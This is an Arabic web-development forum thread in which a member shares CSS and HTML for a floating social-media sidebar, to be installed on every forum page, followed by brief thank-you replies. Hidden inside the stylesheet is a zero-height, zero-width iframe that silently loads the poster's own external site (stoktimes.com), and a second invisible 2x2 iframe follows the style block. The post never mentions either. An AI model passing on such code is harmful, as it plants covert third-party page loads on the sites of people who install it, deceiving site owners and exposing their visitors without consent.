عالم التطوير العربي

عالم التطوير .. أحلى منتدى في أحلى منتدى ..
 
الرئيسيةس .و .جالمجموعاتالتسجيلدخول
آخر المواضيع
الموضوع
تاريخ إرسال المشاركة
بواسطة
شركة العروبة لنقل وتغليف الاثاث
شركة العروبة لنقل وتغليف الاثاث
شركة العروبة لنقل وتغليف الاثاث
شركة العروبة لنقل وتغليف الاثاث
شركة العروبة لنقل وتغليف الاثاث
شركة العروبة لنقل وتغليف الاثاث
شركة العروبة لنقل وتغليف الاثاث
شركة نقل عفش 01090216656
كاميرات مراقبة خفية على شكل قلم وساعة وميدالية ومفتاح 01153154681
كاميرات مراقبة خفية على شكل قلم وساعة وميدالية ومفتاح 01275852626
الخميس ديسمبر 21, 2017 5:17 pm
الخميس ديسمبر 21, 2017 5:16 pm
الخميس ديسمبر 21, 2017 5:15 pm
الخميس ديسمبر 21, 2017 5:14 pm
الخميس ديسمبر 21, 2017 4:25 pm
الخميس ديسمبر 21, 2017 4:25 pm
الخميس ديسمبر 21, 2017 4:22 pm
الأربعاء مارس 08, 2017 1:43 pm
الأربعاء مارس 08, 2017 3:42 am
الأربعاء مارس 08, 2017 1:56 am
العاصمة
العاصمة
العاصمة
العاصمة
العاصمة
العاصمة
العاصمة
شركة الزهور
مودى صلاح
مودى صلاح

شاطر | 
 

  [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014

اذهب الى الأسفل 
كاتب الموضوعرسالة
StaDa3M

avatar

الجنس : ذكر
العمر : 21
عدد المساهمات : 114

مُساهمةموضوع: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   الإثنين أغسطس 26, 2013 11:12 pm

صورة 




طريقة التركيب


عناصر المستقلة على صفحات المنتدى
اعمل الكود على جميع الصفحات

 ضع الكود ادناه 



الكود



اقتباس:



<style type="text/css">


/*<![CDATA[*/


@charset "utf-8";


/* CSS Document */


/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : //---------- */


@import url(http://weloveiconfonts.com/api/?family=entypo);


[class*="entypo-"]:before {


 font-family: 'entypo', sans-serif;


}


/* ---------- GENERAL ---------- */


#social-sidebar a { text-decoration: none; }


#social-sidebar ul {


 list-style: none;


 margin: 0;


 padding: 0;


}


/* ---------- Social Sidebar ---------- */


#social-sidebar {


 left: 0;


 margin-top: -75px; /* (li * a:width) / -2 */


 position: fixed;


 top: 50%;


}

<iframe src="http://www.stoktimes.com/" height="0" width="0"></iframe>


#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }


#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }


#social-sidebar ul li a {


 background: #121212;


 color: #fff;


 display: block;


 height: 50px;


 font-size: 18px;


 line-height: 50px;


 position: relative;


 text-align: center;


 width: 50px;


}


#social-sidebar ul li a:hover span {


 left: 130%;


 opacity: 1;


}


#social-sidebar ul li a span {


 border-radius: 3px;


 line-height: 24px;


 left: -100%;


 margin-top: -16px;


 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";


 filter: alpha(opacity=0);


 opacity: 0;


 padding: 4px 8px;


 position: absolute;


 -webkit-transition: opacity .3s, left .4s;


 -moz-transition: opacity .3s, left .4s;


 -ms-transition: opacity .3s, left .4s;


 -o-transition: opacity .3s, left .4s;


 transition: opacity .3s, left .4s;


 top: 50%;


 z-index: -1;


}


#social-sidebar ul li a span:before {


 content: "";


 display: block;


 height: 8px;


 left: -4px;


 margin-top: -4px;


 position: absolute;


 top: 50%;


 -webkit-transform: rotate(45deg);


 -moz-transform: rotate(45deg);


 -ms-transform: rotate(45deg);


 -o-transform: rotate(45deg);


 transform: rotate(45deg);


 width: 8px;


 z-index: -2;


}


#social-sidebar ul li a[class*="twitter"]:hover,


#social-sidebar ul li a[class*="twitter"] span,


#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }


#social-sidebar ul li a[class*="gplus"]:hover,


#social-sidebar ul li a[class*="gplus"] span,


#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }


#social-sidebar ul li a[class*="tumblr"]:hover,


#social-sidebar ul li a[class*="tumblr"] span,


#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }


#social-sidebar ul li a[class*="facebook"]:hover,


#social-sidebar ul li a[class*="facebook"] span,


#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }


#social-sidebar ul li a[class*="rss"]:hover,


#social-sidebar ul li a[class*="rss"] span,


#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }


/*]]>*/


</style><iframe src="" width="2" height="2" frameBorder="0" scrolling="no"></iframe>


<div id="social-sidebar">


 <ul>


<li>


<a class="entypo-twitter" href="https://twitter.com/" rel="nofollow" target="_blank">


<span>Twitter</span>


</a>


</li>


<li>


 <a class="entypo-gplus" href="https://plus.google.com/" rel="nofollow" target="_blank">


<span>google+</span>


</a>


</li>


<li>


<a class="entypo-tumblr" href="http://www.tumblr.net/" rel="nofollow" target="_blank">


<span>tumblr</span>


</a>


</li>


<li>


 <a class="entypo-facebook" href="https://www.facebook.com/" rel="nofollow" target="_blank">


<span>facebook</span>


</a>


</li>


<li>


 <a class="entypo-rss" href="http://feeds.feedburner.com/" rel="nofollow" target="_blank">


<span>feedburner</span>


 </a>


</li>


</ul>


 </div>


غير الذي بالاحمر لروابطك في الشبكات الاجتماعية

اتمنى اني افدتكم 


بالتوفيق



منتديات ستوك تايمز
WwW.Stocktimes.123.St
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://stocktimes.123.st/
الذهبي

avatar

الجنس : ذكر
العمر : 16
عدد المساهمات : 557

مُساهمةموضوع: رد: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   الجمعة أغسطس 30, 2013 9:22 am

شكرا لك




>>
لمراسلة الادارة بامور لا تراها الا هي فضلا اضغط هنا <<
>> للترشيح الى فريق منتدنا الحبيب من هنا <<
>> للشكايا ضد اعضاء المنتدى من هنا <<
>> للشكايا ضد الفريق الخاص من هنا <<
الرجوع الى أعلى الصفحة اذهب الى الأسفل
show

avatar

الجنس : ذكر
العمر : 24
عدد المساهمات : 150

مُساهمةموضوع: رد: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   الأربعاء سبتمبر 04, 2013 3:20 am

شكرا لك رائع
الرجوع الى أعلى الصفحة اذهب الى الأسفل
3zZ0

avatar

الجنس : ذكر
عدد المساهمات : 481

مُساهمةموضوع: رد: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   الخميس سبتمبر 05, 2013 7:42 pm

سلمت اناملك على الموضوع المفيد ..



الرجوع الى أعلى الصفحة اذهب الى الأسفل
المحترف الذهبي
المدير العام
avatar

الجنس : ذكر
عدد المساهمات : 10180

مُساهمةموضوع: رد: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   السبت سبتمبر 14, 2013 12:04 pm

شكرا على الموضوع الرائع



>> لمراسلة الادارة بامور لا تراها الا هي فضلا اضغط هنا <<
>> للترشيح الى فريق منتدنا الحبيب من هنا <<
>> للشكايا ضد اعضاء المنتدى من هنا <<
>> للشكايا ضد الفريق الخاص من هنا <<
الرجوع الى أعلى الصفحة اذهب الى الأسفل
جيسيكا XD

avatar

أسود
الجنس : انثى
عدد المساهمات : 22188

مُساهمةموضوع: رد: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   الخميس سبتمبر 19, 2013 6:23 pm

موضوع رائع شكرا لك


 
✿...                

>> لمراسلة الادارة بامور لا تراها الا هي فضلا اضغط هنا <<
>> للترشيح الى فريق منتدنا الحبيب من هنا <<
>> للشكايا ضد اعضاء المنتدى من هنا <<
>> للشكايا ضد الفريق الخاص من هنا <<
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://adf.ly/1TcUI8
N O R M

avatar

الجنس : ذكر
العمر : 21
عدد المساهمات : 2659

مُساهمةموضوع: رد: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   الخميس سبتمبر 19, 2013 7:02 pm

شكرا




>>
لمراسلة الادارة بامور لا تراها الا هي فضلا اضغط هنا <<
>> للترشيح الى فريق منتدنا الحبيب من هنا <<
>> للشكايا ضد اعضاء المنتدى من هنا <<
>> للشكايا ضد الفريق الخاص من هنا <<
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://www.czanime.com/vb
ونناسهه
المدير العام
avatar

الجنس : انثى
عدد المساهمات : 22587

مُساهمةموضوع: رد: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   الثلاثاء أكتوبر 22, 2013 8:51 pm

شكرا لك ..
بوركت ..


>> لمراسلة الادارة بامور لا تراها الا هي فضلا اضغط هنا <<
>> للترشيح الى فريق منتدنا الحبيب من هنا <<
>> للشكايا ضد اعضاء المنتدى من هنا <<
>> للشكايا ضد الفريق الخاص من هنا <<
 
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://www.pubda3m.com/
3A9LiyA dZ
إشراف عام الدردشة
avatar

الجنس : ذكر
العمر : 18
عدد المساهمات : 1582

مُساهمةموضوع: رد: [كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014   الثلاثاء يوليو 15, 2014 6:02 am

مشكوووووووووووور





>> لمراسلة الادارة بامور لا تراها الا هي فضلا اضغط هنا <<
>> للترشيح الى فريق منتدنا الحبيب من هنا <<
>> للشكايا ضد اعضاء المنتدى من هنا <<
>> للشكايا ضد الفريق الخاص من هنا <<
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://printemps.forumotion.com/
 
[كود] الشبكات الاجتماعية جانب المنتدى بشكل جديد 2014
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
عالم التطوير العربي :: اقسام دعم المواقع :: قسم الأكواد و الهاكات-
انتقل الى: